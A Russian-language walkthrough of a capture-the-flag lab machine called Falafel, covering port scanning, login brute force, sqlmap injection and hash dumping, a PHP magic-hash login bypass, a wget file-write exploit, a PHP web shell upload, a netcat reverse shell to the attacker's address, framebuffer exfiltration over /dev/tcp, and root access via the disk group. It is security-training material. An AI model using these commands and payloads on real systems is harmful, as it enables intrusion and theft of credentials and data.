Для начала добавим ip-адрес в файлик hosts.

sudo nano /etc/hosts

Проведем начальное сканирование masscan-ом, будем сканировать все TCP и UDP порты со скоростью 500 пакетов в секунду, через интерфейс tun0 и посмотрим результат.

sudo masscan -p1-65535,U:1-65535 10.129.229.139 --rate=500 -e tun0 > falafel

cat falafel

Теперь просканируем два открытых порты nmap-ом. Будем использовать опции sC для скриптов по умолчанию, sV для определения версий служб и oA для вывода результата в файл.

nmap -p22,80 -sC -sV -oA nmap/falafel falafel.htb

Как видно из вывода nmap, мы имеем дело с Linux машиной. На порту 22 находится сервер OpenSSH версии 7.2p2, а на 80 сервис Apache версии 2.4.18. Так как мы не знаем логинов и паролей к ssh, и у нас нет эксплоитов, то перейдем к исследованию 80 порта. Заголовок сообщает нам следующую информацию — Falafel Lovers. Давайте откроем этот сайт через браузер.

Нас приветствует сообщение — Добро пожаловать на FalafeLovers – социальную сеть для для любителей фалафелей. В исходных текстах страницы ничего не найдем, поэтому перейдем на форму логина. Если введем в поля формы test/test и отправим запрос нам вернется сообщение - "Try again..", а если ведем admin/admin нам вернется сообщение "Wrong identification : admin", значит такой пользователей существует.

Попробуем сделать сканирование веб-сервера на наличие папок и файлов, будем использовать gobuster.

gobuster dir -u http://falafel.htb -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -x txt,php

И будет найдено 2 файла - robots.txt и cyberlaw.txt.

В robots.txt ничего нужного не будет, а в cyberlaw.txt будет следующая записка.

Пользователь под ником "chris" сообщил мне, что смог войти в МОЮ учетную запись, не зная пароля, и получить ПОЛНЫЙ КОНТРОЛЬ над сайтом, используя функцию загрузки изображений. У нас установлена защита от киберугроз в форме входа, и опытный PHP-разработчик занимался фильтрацией URL-адресов для загрузки, поэтому я понятия не имею, как ему это удалось.

Уважаемые юристы, пожалуйста, займитесь этим вопросом. Я считаю, что киберправо на нашей стороне.

Уважаемые разработчики, исправьте этот неработающий сайт как можно скорее.

Из письма мы узнаем, что есть пользователь chris, давайте попробуем найти других пользователей. Скопируем словарь с пользователями в домашнюю директорию.

cp /usr/share/seclists/Usernames/Names/names.txt .

Для брутфорса будем использовать wfuzz, взяв параметры для брутфорса через исходный код страницы сайта. Сразу скроем 3-й столбец с кодом 657.

wfuzz -c -z file,names.txt --hw 657 -d "username=FUZZ&password=pass" http://falafel.htb/login.php

Но ничего кроме пользователей admin и chris не нашлось. Так как у нас есть форма, есть пользователи и нет паролей, давайте проверим форму на sql инъекцию. Сначала сохраним сам запрос в файл через burp suite. Выделяем запрос и нажимаем "Copy to File".

Теперь можем начать проверять форму. Я принудительно указал, что используется база данных mysql, чтобы скрипт отработал быстрее.

Но инъекция так и не нашлась.

Выше мы видели, что есть плохой ответ и хороший от сервера, когда учетная запись найдена в системе, попробует дополнить скрипт и указать хороший ответ.

sqlmap -r req --batch --level 5 --risk 3 --string "Wrong identification" --dbms mysql -p username,password

И сразу нашлась инъекция.

Сейчас давайте сделаем дамп базы данных добавив опцию --dump.

sqlmap -r req --batch --level 5 --risk 3 --string "Wrong identification" --dbms mysql -p username,password --dump

sqlmap смог сделать дамп таблицы, и даже взломал хеш пользователя chris. Давайте зайдем под этим аккаунтом в систему - chris:juggling.

Жонглер днём, хакер ночью

Привет, меня зовут Крис, и я работаю жонглером в местном цирке. После работы я всегда ем фалафель.

По ночам я занимаюсь пентестингом случайных веб-сайтов в качестве хобби. Забавно, как иногда и хобби, и работа имеют что-то общее…

Вернемся к администратору. Судя по профилю, похоже, что PHP использует манипуляции(жонглирование) с типами данных (поскольку веб-сайт основан на PHP).

В результате поиска в интернете выяснилось, что при использовании нестрогого сравнения == или != PHP может рассматривать переменные как разные типы данных, что пр��водит к неожиданным результатам сравнения. Например, '0010e2' == '1e3' вернет true, поскольку обе переменные рассматриваются как целые числа, где "e" — знак экспоненты (следовательно, обе считаются "1" как целое число).

Мы видим, что хеш администратора совпадает со свойством, которое можно рассматривать как 0 ^ 462096931906507119562988736854, что равно "0". Следовательно, любая строка, которая дает хеш, начинающийся с 0e, будет считаться идентичной хешу администратора.

В этом списке примеров полезной нагрузки (https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Type%20Juggling/README.md#magic-hashes) представлены различные "магические хеши", которые могут достичь той же цели.

Нам подойдет любой пароль из следующих — 240610708, QNKCDZO, aabg7XSs.

После входа в административную панель нам снова показывается форма, но уже для загрузки картинки.

Запустим на Kali слушатель и сделаем к нему запрос.

nc -lvnp 80

http://10.10.14.4/test.png

Теперь мы знаем, что используется wget версии 1.17.1, давайте поищем для этой версии эксплоит.

searchsploit wget

Скопируем нужный нам эксплоит в домашнюю директорию.

searchsploit -m linux/remote/40064.txt

В версиях GNU wget до 1.18 удалённые серверы могут записывать данные в произвольные файлы, перенаправляя запрос с HTTP на специально созданный FTP-ресурс.

В файле много ненужного текста, поэтому уберем лишнее и переименуем файл.

nano 40064.txt

mv 40064.txt exploit.py

Сразу поменяем в эксплоите HTTP_LISTEN_IP и FTP_HOST на адрес нашего туннельного интерфейса, а также меняем строку на new_path = '%s'%('ftp://anonymous@%s:%s/shell.php'%(FTP_HOST, FTP_PORT) )

И создаем файл shell.php

nano shell.php

<?php echo ("I was here"); ?>

Теперь запустим ftp сервер на Python.

python3 -m venv venv

source venv/bin/activate

pip install --upgrade pip

pip install pyftpdlib

python3 -m pyftpdlib -p 21 -w

Запустим сам эксплоит и обратимся к серверу с помощью wget указав несуществующее имя.

python2 exploit.py

И мы закачали файл shell.php

И если сейчас через форму обратимся к загрузке shell.png, то запрашиваться будет shell.php.

Если пойдем в профайл увидим подсказку про лимиты, скорее всего длины файлов

Будем использовать утилиту из набора metasploitpattern_create.

Создадим паттерн на 255 элементов и создадим такой же файл с именем из паттерна.

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255

touch

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4

Переместим только что созданный файл в новый файл, но уже с расширением gif, отняв 4 байта с конца имени.

mv Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai.gif

И добавим магические байты метаданные в начало файла.

nano Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai.gif

GIF8;

Теперь запустим http сервер на Python и загрузим с него созданный нами файл.

python3 -m http.server 80

http://10.10.14.4/Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai.gif

Система отвечает, что имя файла слишком длинное, всего 255 символов в имени.

Посчитаем количество символом нового имени. Оно равно 236.

echo -n "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah" | wc -c

Сгенерируем новое имя файла за вычетом расширения с точкой.

python2 -c 'print "A" * 232'

Теперь создадим новый файл, с двойным расширением и загрузим его на сервер.

nano AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.png

<?php echo system($_REQUEST['req']); ?>

Теперь когда пойдем по указанному пути и передадим нашему скрипту команду, она выполнится.

Сейчас мы можем выполнить реверс-шелл. Чтобы было проще переключимся на burp suite.

Запустим слушатель.

nc -lvnp 1234

И передадим в burp suite следующий код закодировав после его в burp suite.

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.4 1234 >/tmp/f

Обновим наш реверс шелл.

python3 -c 'import pty; pty.spawn("/bin/bash")'

CTRL + Z

stty raw -echo; fg

enter

export TERM=xterm-256color

Перейдем в /var/www/html и посмотрим файл connection.php. В нём находим имя и пароль к базе данных. Попробуем подключиться с этими учетными данными по ssh.

ssh moshe@falafel.htb

И получаем флаг.

cat user.txt | wc

Если выполним команду id, то увидим, что пользователь состоит в группе 44(video).

Т.е. мы можем обращаться к фреймбуферу, давайте выгрузим из него данные.

nc -lvnp 2345 > fb.raw

cat /dev/fb0 > /dev/tcp/10.10.14.4/2345

Поставим локально на Kali gimp и откроем в нём изображение.

sudo apt install gimp -y

Но ничего внятного мы не увидим, пока не установим нужные параметры.

Мы можем их подобрать перебором или считать со специального файла.

cat /sys/class/graphics/fb0/virtual_size

Теперь зная пароль залогинемся как yossi.

Но флага нет, давай посмотрим снова группы в которых состоит пользователь. В этот раз он состоит в группе 6(disk).

Флаг можно получить подключившись к диску через debugfs.

debugfs /dev/sda1

Также можно забрать ключ id_rsa и подключиться с его помощью как root к машине.